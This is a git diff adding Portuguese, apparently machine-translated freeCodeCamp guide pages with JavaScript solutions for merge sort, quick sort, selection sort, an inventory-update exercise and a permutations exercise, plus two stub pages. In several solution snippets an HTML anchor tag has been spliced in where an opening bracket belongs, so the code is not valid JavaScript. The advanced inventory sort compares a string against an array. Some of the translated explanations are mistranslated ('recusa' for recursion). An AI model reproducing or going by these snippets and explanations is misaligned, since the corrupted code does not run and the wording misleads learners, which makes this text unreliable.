+*   [Executar código](https://repl.it/@ezioda004/Insertion-Sort)
+
+### Referências:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Insertion_sort)
+*   [Khan Academy](https://www.youtube.com/watch?v=lCzQvQr8Utw)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md
new file mode 100644
index 0000000000..d0f28f0e3e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md
@@ -0,0 +1,56 @@
+---
+title: Implement Merge Sort
+localeTitle: Implementar o Merge Sort
+---
+## Implementar o Merge Sort
+
+### Método:
+
+*   Merge Sort é um problema clássico de divisão e conquista.
+*   Os seguintes passos estão envolvidos:
+*   Divide: Nós quebramos o array do meio usando a recusa até ficarmos com 1 elemento.
+*   Conquiste: Então, classificamos esses pequenos arrays.
+*   Combine: Finalmente, mesclamos esses pequenos arrays em um array ordenado e continuamos fazendo isso até combinarmos todos os arrays.
+*   A complexidade de tempo do Merge Sort é **O (nlogn)** .
+*   A complexidade do espaço de Merge Sort é **O (n)** .
+*   É um algoritmo **estável** .
+*   ![Merge Sort in action](https://upload.wikimedia.org/wikipedia/commons/c/cc/Merge-sort-example-300px.gif)
+
+### Solução:
+
+```js
+//Merger function, which merges 2 sorted array into 1 sorted array 
+ function merger(arr1, arr2){ 
+  let i = 0, j = 0, mergedArr = []; 
+  while (i < arr1.length && j < arr2.length){ 
+    if (arr1[i] > arr2[j]) mergedArr.push(arr2[j++]); 
+    else mergedArr.push(arr1[i++]); 
+  } 
+  while (i < arr1.length){ 
+    mergedArr.push(arr1[i++]); 
+  } 
+  while (j < arr2.length){ 
+    mergedArr.push(arr2[j++]); 
+  } 
+  return mergedArr; 
+ } 
+ function mergeSort(array) { 
+  //Array of length 1 is sorted so we return the same array back 
+  if (array.length == 1) return array; 
+ 
+  //Break down the array to half from middle into left and right 
+  let middle = Math.floor(array.length/2); 
+  let left = mergeSort(array.slice(0, middle)); 
+  let right = mergeSort(array.slice(middle)); 
+ 
+  //Return the merged sorted array 
+  return merger(left, right); 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Merge-Sort)
+
+### Referências:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Merge_sort)
+*   Vídeo de [Hackerrank](https://www.youtube.com/watch?v=KF2j-9iSf4Q)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md
new file mode 100644
index 0000000000..6b4885583d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md
@@ -0,0 +1,56 @@
+---
+title: Implement Quick Sort
+localeTitle: Implementar classificação rápida
+---
+## Implementar classificação rápida
+
+### Método:
+
+*   A classificação rápida é um algoritmo de classificação eficiente. É um algoritmo no local, portanto, não ocupa nenhum espaço auxiliar.
+*   Primeiro, escolha um ponto de pivot aleatório em torno do qual mova todos os elementos menores para a esquerda e os elementos maiores para a direita.
+*   Depois de obter o pivotIndex que é essencialmente a posição fixa desse elemento, encontramos outro pivotIndex chamando esta função de forma discente.
+*   O pior caso da classificação rápida é **O (n 2 ),** mas isso pode ser evitado se escolhermos o ponto de **pivotagem** aleatório, de modo que o grande O é **O (nlogn)** .
+*   A complexidade do espaço é **O (logn)** .
+*   É um algoritmo **instável** .
+*   ![Ordenação rápida em ação](https://upload.wikimedia.org/wikipedia/commons/6/6a/Sorting_quicksort_anim.gif)
+
+### Solução:
+
+```js
+//Swapping array elements via ES6 array destructuring 
+ function swap(arr, x, y){ 
+  [arr[x], arr[y]] = [arr[y], arr[x]]; 
+ } 
+ 
+ //Pivot function returns the fixed pivot point 
+ function pivot(arr, left = 0, right = arr.length-1){ 
+  let shift = left; 
+  for (let i = left+1; i <= right; i++){ 
+ 
+    //Move all the small elements on the left side 
+    if (arr[i] < arr[left]) swap(arr, i, ++shift); 
+  } 
+ 
+  //Finally swapping the last element with the left 
+  swap(arr, left, shift); 
+  return shift; 
+ } 
+ 
+ function quickSort(array, left = 0, right = array.length-1) { 
+  if (left < right){ 
+    let pivotIndex = pivot(array, left, right); 
+ 
+    //Recusrively calling the function to the left of the pivot and to the right of the pivot 
+    quickSort(array, left, pivotIndex-1); 
+    quickSort(array, pivotIndex+1, right); 
+  } 
+  return array; 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Quick-Sort)
+
+### Referência:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Quicksort)
+*   [Khan Academy](https://www.khanacademy.org/computing/computer-science/algorithms/quick-sort/a/overview-of-quicksort)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md
new file mode 100644
index 0000000000..85ea5d782b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md
@@ -0,0 +1,41 @@
+---
+title: Implement Selection Sort
+localeTitle: Implementar o tipo de seleção
+---
+## Implementar o tipo de seleção
+
+### Método:
+
+*   A seleção de classificação é um dos algoritmos de classificação mais fáceis de entender e implementar.
+*   Este algoritmo divide o array em duas partes:
+
+1.  Ordenado
+2.  não triados
+
+*   A parte classificada está no início da matriz e parte não classificada depois.
+*   A cada passo, inicialmente assumimos que o primeiro elemento é o menor, então percorremos toda a matriz e _selecionamos_ o menor elemento. No final do passe, nós trocamos o menor elemento para o array ordenado.
+*   Tem complexidade de tempo **O (n 2 )** .
+
+### Solução:
+
+```js
+function swap(a, b, arr){ 
+  let tmp = arr[a]; 
+  arr[a] = arr[b]; 
+  arr[b] = tmp; 
+ } 
+ function selectionSort(array) { 
+  for (let i = 0; i < array.length-1; i++){ 
+    let min = i; 
+    for (let j = i+1; j < array.length; j++){ 
+      if (array[min] > array[j]) min = j; 
+    } 
+    swap(i, min, array); 
+  } 
+  return array; 
+ } 
+```
+
+### Referências:
+
+*   Leia sobre o Sort Selection na [Wikipedia](https://en.wikipedia.org/wiki/Selection_sort)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/index.md
new file mode 100644
index 0000000000..ce6650f754
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Algorithms
+localeTitle: Algoritmos
+---
+## Algoritmos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/inventory-update/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/inventory-update/index.md
new file mode 100644
index 0000000000..02795ddf7e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/inventory-update/index.md
@@ -0,0 +1,294 @@
+---
+title: Inventory Update
+localeTitle: Atualização de Inventário
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Nesse problema, você deve comparar e atualizar o inventário armazenado em uma matriz 2D em relação a uma segunda matriz 2D de uma entrega nova. Atualize as quantidades atuais de itens de estoque existentes (em `arr1` ). Se um item não puder ser encontrado, adicione o novo item e a quantidade à matriz de estoque. A matriz de inventário retornada deve estar em ordem alfabética por item.
+
+O estoque atual e o novo estoque estarão neste formato: `[[2, "item-0"], [3, "item-1"], [67, "item-2"], [7, "item-3"]]` .
+
+#### Links Relevantes
+
+*   [Matriz JS](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você precisa trabalhar com cada item do novo inventário para ver se ele existe no estoque atual ou não. Lembre-se que o nome do produto é armazenado como o segundo elemento de cada sub-array: `array[0][1] = "item-name"` .
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Se o item existir, você precisará adicionar a quantidade do novo estoque. Se o item não existir, você precisará adicionar o item inteiro.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Retorne o inventário completo em ordem alfabética.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function updateInventory(arr1, arr2) { 
+ 
+        // Variable for location of product 
+        var index; 
+ 
+        // A helper method to return the index of a specified product (undefined if not found) 
+        var getProductIndex = function (name) { 
+            for (var i = 0; i < this.length; i++) { 
+                if (this<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>i][1] === name) { 
+                    return i; 
+                } 
+            } 
+            return undefined; 
+        } 
+ 
+        // For each item of the new Inventory 
+        for (var i = 0; i < arr2.length; i++) { 
+ 
+            // Invoke our helper function using arr1 as this 
+            index = getProductIndex.call(arr1, arr2[i][1]); 
+ 
+            // If the item doesn't exist 
+            if (index === undefined) { 
+                // Push the entire item 
+                arr1.push(arr2[i]); 
+            } else { 
+                // Add the new quantity of the current item 
+                arr1[index][0] += arr2[i][0]; 
+            } 
+ 
+        } 
+ 
+        // Sort alphabetically, by the product name of each item 
+        arr1.sort(function (a, b) { 
+            if (a[1] > b[1]) { 
+                return 1; 
+            } 
+            if (a[1] < b[1]) { 
+                return -1; 
+            } 
+            return 0; 
+        }); 
+ 
+        return arr1; 
+    } 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLok/0)
+
+### Explicação do código:
+
+*   O **índice** variável armazena a localização (índice) de um produto.
+*   A função auxiliar `getProductIndex()` retorna o índice de um produto especificado. Ele itera através de cada elemento da matriz que é chamado até encontrar o parâmetro name. Se o produto não for encontrado no inventário, o `undefined` será retornado.
+*   Então, cada item no novo inventário (entrega) é trabalhado através de:
+*   **index** é definido como o resultado de chamar a função auxiliar, ou seja, pesquisar o novo inventário para esse nome de produto e retornar seu índice.
+*   Se o item for encontrado, a quantidade do produto é adicionada à quantidade do mesmo produto no estoque atual.
+*   Se o item não for encontrado, todo o produto (nome e quantidade) será adicionado ao estoque atual.
+*   O inventário atualizado, **arr1** , é então classificado pelo nome do produto (mantido em `arr1[x][1]` ).
+*   A matriz final atualizada e ordenada é então retornada.
+
+#### Links Relevantes
+
+*   [JS esta](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/this)
+*   [JS Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JS Array.prototype.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Array.prototype.sort ()](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    function updateInventory(arr1, arr2) { 
+      // All inventory must be accounted for or you're fired! 
+ 
+      var index; 
+      var arrCurInvName = <a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>]; // Names of arr1's items 
+      var arrNeInvName = []; // Names of arr2's items 
+ 
+      // Same as using two for loops, this takes care of increasing the number of stock quantity. 
+      arr1.map(function(item1) { 
+        return arr2.map(function(item2) { 
+          if (item1[1] === item2[1]) { 
+            item1[0] = item1[0] + item2[0]; //Increase number of stock 
+          } 
+        }); 
+      }); 
+ 
+      // Get item's name for new Inventory 
+      arr2.map(function(item) { 
+        arrNeInvName.push(item[1]); 
+      }); 
+ 
+      // Get item's name for Current Inventory 
+      arr1.map(function(item) { 
+        arrCurInvName.push(item[1]); 
+      }); 
+ 
+      // Add new inventory items to current inventory. 
+      arrNeInvName.map(function(item) { 
+        if (arrCurInvName.indexOf(item) === -1) { 
+          index = arrNeInvName.indexOf(item); 
+          arr1.push(arr2[index]); 
+        } 
+      }); 
+ 
+      // Sort the array alphabetically using the second element of the array as base. 
+      arr1.sort(function(currItem, nextItem) { 
+ 
+        //Ternary function to avoid using if else 
+        return currItem[1] > nextItem[1] ? 1 : -1; 
+      }); 
+ 
+      return arr1; 
+    } 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLol/0)
+
+### Explicação do código:
+
+*   O **índice** variável armazena a localização (índice) de um produto.
+*   **arrCurInvName** tem os nomes dos itens **arr1** .
+*   **arrNeInvName** tem os nomes dos **itens** de **arr2** .
+*   `arr1.map(function(item1))` cuida dos itens já existentes no estoque, ou seja, aumenta a quantidade no estoque.
+*   Em seguida, `arr2.map(function(item))` e `arr1.map(function(item))` obtêm os nomes dos itens para o inventário novo e atual, respectivamente.
+*   `arrNeInvName.map(function(item))` manipula itens que ainda não existem no inventário, isto é, adiciona novos itens ao inventário.
+*   O array atualizado **arr1** é então classificado em ordem alfabética pelo nome do produto (mantido em `arr1[x][1]` ) e retornado.
+
+#### Links Relevantes
+
+*   [JS Array.prototype.map ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [JS Array.prototype.indexOf ()](http://forum.freecodecamp.com/t/javascript-array-prototype-indexof/14291)
+*   [Operador Ternário JS](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+```javascript
+    function updateInventory(arr1, arr2) { 
+      // All inventory must be accounted for or you're fired! 
+ 
+      // convert current inventory (arr1) to an one-dimensional array 
+      const inventory = Array.prototype.concat.apply([], arr1); 
+ 
+      // loop through new delivery (arr2) 
+      for (let i = 0; i < arr2.length; i++) { 
+ 
+        // extract item properties for easy reference 
+        const item = arr2[i][1]; 
+        const quantity = arr2[i][0]; 
+ 
+        // check if item already exists in inventory 
+        const position = inventory.indexOf(item); 
+ 
+        // exsisting item: update quantity 
+        if (position !== -1) { 
+          const row = Math.floor(position / 2); 
+          arr1[row][0] += quantity; 
+          continue; 
+        } 
+ 
+        // alien item: add to inventory 
+        arr1.push([quantity, item]); 
+ 
+      } 
+ 
+      // sort inventory in alphabetical order 
+      arr1.sort((previous, next) => (previous[1] > [next[1]]) ? 1 : -1); 
+ 
+      return arr1; 
+ 
+    } 
+ 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/MQvv/latest)
+
+### Explicação do código:
+
+*   Converta a matriz de inventário atual **arr1** em uma matriz unidimensional para que o método `indexOf()` possa ser usado para verificar a existência de novos itens de entrega no estoque atual.
+*   Verifique se o item já existe no inventário atual usando `indexOf()` .
+*   Se o item existir, atualize a quantidade e continue a execução do loop.
+*   Outro item de acréscimo ao inventário.
+*   Por fim, classifique a matriz em ordem alfabética e retorne o inventário atualizado.
+
+#### Links Relevantes
+
+*   [JS Function.prototype.apply ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+*   [JS continua](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)
+*   [JS Array.prototype.sort ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md
new file mode 100644
index 0000000000..61941a9f65
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md
@@ -0,0 +1,177 @@
+---
+title: No Repeats Please
+localeTitle: Não repete por favor
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Essa tarefa exige que retornemos o número total de permutações da string fornecida que não tem letras consecutivas repetidas. Deve ser assumido que todos os caracteres na string fornecida são únicos. Por exemplo, `aab` deve retornar 2 porque tem 6 permutações totais ( `aab` , `aab` , `aba` , `aba` , `baa` , `baa` ), mas apenas 2 delas ( `aba` e `aba` ) não têm a mesma letra (neste caso `a` ) recorrente.
+
+Para conseguir isso, vamos ter que olhar para cada possível permutação de uma string. Existem várias maneiras de fazer isso. Uma questão de entrevista comum é a construção de uma função que coleta todas as permutações de uma string. Existem vários tutoriais disponíveis na internet sobre como fazer isso.
+
+#### Métodos Potenciais Utilizados Como Solução
+
+##### Método Recursivo
+
+Essa tarefa pode ser assustadora mesmo depois de assistir a um tutorial. Para escrever uma solução recursiva, você desejará enviar a cada novo uso da função três entradas:
+
+1.  Uma nova string (ou matriz de caracteres) que está sendo construída.
+2.  Uma posição na sua nova string que será preenchida em seguida.
+3.  Uma ideia de quais caracteres (mais especificamente posições) da string original ainda não foram usados.
+
+O pseudo código será parecido com isto:
+```
+var str = ???; 
+ permAlone(current position in original string, characters used already in original string, created string) { 
+  if (current string is finished) { 
+    print current string; 
+  } else { 
+    for (var i = 0; i < str.length; i++) { 
+      if (str[i] has not been used) { 
+        put str[i] into the current position of new string; 
+        mark str[i] as used; 
+        permAlone(current position in original string, characters used already in original string, created string); 
+        remove str[i] as used because another branch in the tree for i + 1 will likely use it; 
+      } 
+    } 
+  } 
+ } 
+ permAlone(0, nothing used yet, empty new string (or array the same size as str)); 
+```
+
+Outra maneira de pensar sobre esse problema é começar de um espaço vazio. Introduza a primeira letra do espaço. Este espaço irá agora conter a primeira sub-permutação. Aqui está um diagrama ilustrando a ideia:
+
+![diagrama](//discourse-user-assets.s3.amazonaws.com/original/2X/6/69896bacc8bd3b2e347beb4b304a7f97caa6d9ab.png)
+
+##### Método não recursivo
+```
+// An approach to introduce a new character to a permutation 
+ var ch = '?'; 
+ var source = ['?', '?', '?'];     // Current sub-permutation 
+ var temp, dest = []; 
+ 
+ for (var i = 0; i <= source.length; ++i) { 
+  temp = source.slice(0);         // Copy the array 
+  temp.splice(i, 0, ch);          // Insert the new character 
+  dest.push(temp);                // Store the new sub-permutation 
+ } 
+```
+
+Encontrar cada permutação poderia ser feito de forma não recursiva, incluindo o acima em uma função, tomando uma matriz de origem e retornando uma matriz de destino. Para cada letra da string de entrada, passe esse caractere, assim como a matriz retornada da chamada anterior da função.
+
+Uma maneira de visualizar isso é considerando uma árvore que começa com o primeiro caractere da sua string:
+
+![Árvore de permutação](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8187f2b06cdc02cf62286c18ce15bfcdc99bc68c.png)
+
+#### Links Relevantes
+
+*   [Permutações](https://www.mathsisfun.com/combinatorics/combinations-permutations.html)
+*   [Algoritmo da pilha](https://en.wikipedia.org/wiki/Heap%27s_algorithm)
+*   Recursos JS Regex
+*   [Objeto String JS](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   A maneira mais fácil é usar o algoritmo de Heap para obter recursivamente uma lista de todas as permutações.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Depois de ter a lista, basta criar uma expressão regular para capturar os caracteres repetidos.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   Você desejará ter as permutações como uma matriz de strings associadas, em vez de caracteres separados.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function permAlone(str) { 
+ 
+  // Create a regex to match repeated consecutive characters. 
+  var regex = /(.)\1+/g; 
+ 
+  // Split the string into an array of characters. 
+  var arr = str.split(''); 
+  var permutations = <a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>]; 
+  var tmp; 
+ 
+  // Return 0 if str contains same character. 
+  if (str.match(regex) !== null && str.match(regex)[0] === str) return 0; 
+ 
+  // Function to swap variables' content. 
+  function swap(index1, index2) { 
+    tmp = arr[index1]; 
+    arr[index1] = arr[index2]; 
+    arr[index2] = tmp; 
+  } 
+ 
+  // Generate arrays of permutations using the algorithm. 
+  function generate(int) { 
+    if (int === 1) { 
+      // Make sure to join the characters as we create  the permutation arrays 
+      permutations.push(arr.join('')); 
+    } else { 
+      for (var i = 0; i != int; ++i) { 
+        generate(int - 1); 
+        swap(int % 2 ? 0 : i, int - 1); 
+      } 
+    } 
+  } 
+ 
+  generate(arr.length); 
+ 
+  // Filter the array of repeated permutations. 
+  var filtered = permutations.filter(function(string) { 
+    return !string.match(regex); 
+  }); 
+ 
+  // Return how many have no repetitions. 
+  return filtered.length; 
+ } 
+ 
+ // Test here. 
+ permAlone('aab'); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLop/0)
+
+### Explicação do código:
+
+*   **regex** contém a expressão regular para coincidir com caracteres consecutivos repetidos.
+*   A string **str** é dividida em uma matriz de caracteres, **arr** .
+*   0 é retornado se **str** contiver os mesmos caracteres.
+*   A função `swap()` é usada para trocar o conteúdo do conteúdo de duas variáveis.
+*   O próximo bloco de código usa o algoritmo de Heap para gerar matrizes de permutações em **permutações** .
+*   A variável **filtrada** filtra as **permutações** para incluir apenas permutações não repetidas.
+*   `filtered.length` retorna o número total de permutações da string fornecida que não tem letras consecutivas repetidas.
+
+#### Links Relevantes
+
+*   [Divisão de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Correspondência de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [Push de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Junção de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+*   [JS For Loops Explained](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [Filtro Protótipo JS Array](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/pairwise/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/pairwise/index.md
new file mode 100644
index 0000000000..bd30669f2a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/algorithms/pairwise/index.md
@@ -0,0 +1,9 @@
+---
+title: Pairwise
+localeTitle: Emparelhados
+---
+## Emparelhados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/algorithms/pairwise/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..746b73504e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a New Element to a Binary Search Tree
+localeTitle: Adicionar um novo elemento a uma árvore de pesquisa binária
+---
+## Adicionar um novo elemento a uma árvore de pesquisa binária
+
